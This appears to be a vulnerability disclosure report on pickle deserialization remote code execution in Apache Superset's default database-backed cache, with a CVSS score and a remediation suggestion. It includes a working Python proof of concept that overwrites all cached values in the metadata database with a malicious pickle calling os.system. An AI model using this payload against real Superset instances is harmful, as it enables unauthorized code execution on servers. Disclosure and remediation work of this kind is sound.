Exploitation of Pickle RCE within Superset's Default Cache

Information

```
[ Author ] Dinis Cruz
[ Project ] Superset
```

Description

Apache's superset presents different options for caching, all of which based on Flask-Caching. A built-in cache is provided which serializes values for later retreival. This serialization and retreival are done using Pickle, which allows for the de-serialization of python objects and as such the execution of code.

The built-in cache writtes information within the metadata database, which means that an attacker with access to this database, can escalate their priviledges and gain remote access to the machine/container serving superset.

Affected URL [or Component]

`MetaStoreCache` class, which uses the `PickleKeyValueCodec` class for serialization of information.

Proof of Concept (PoC)

This issue was reproduced by first creating a clean superset install which will use the built-in cache as default.

With the already established knowledge that access to the database is needed to exploit this issue. We can update the values of all cached values with the pickle exploit. Later, once the value is served back to the user, the pickle module will serialize the data and execute our code. A python PoC can be found bellow.

```python
import os
import psycopg2
import pickle5 as pickle

class RCE:
    def __reduce__(self):
        cmd = ('touch /tmp/evil.sh')
        return os.system, (cmd,)
```

```python

def exploit():
    pickled = pickle.dumps(RCE())

    con = psycopg2.connect(
        database="superset",
        user="superset",
        password="superset",
        host="localhost",
        port= '5432'
    )

    cursor = con.cursor()

    cursor.execute('''UPDATE key_value SET value = %s''', (psycopg2.Binary(pickled),))
    con.commit()

if __name__ == '__main__':
    exploit()
```

This script updates all values cached within the database, and once the data is served back to the user, a evil.sh file is created within the `/tmp` directory for demonstration purposes.

Affected Users

All users could be impacted.

CWE

- CWE-502

CVSS Score

- Attack Vector (AV) - Network (N)
- Attack Complexity (AC) - Low (L)
- Privileges Required (PR) - High (H)
- User Interaction (UI) - None (N)
- Scope (S) - Changed (C)
- Confidentiality (C) - High(H)
- Integrity (I) - High(H)
- Availability (A) - High(H)

> Score: 9.1

Suggested Fix (Remediations)

While the fix is up to the superset team. The big problem relies on the usage of pickle for data serialization. As far as I understand from the commit #23888 a shift was made to remove Pickle serialization from other components but this one was kept because of a need to "handle arbitrary binary types". The cleanest solution would be to switch to another serialization mechanism, however one could implement a restricted unpickler which is not a sure solution but would possibly require less work when implementing.

Prerequisites

Access to the Metadata database in use by the superset instalation.

Tools Used and Setup Required

No special setup, only to a python interpreter to generate the payload, the introdution of the malicious payload into the database can be made in a variety of ways.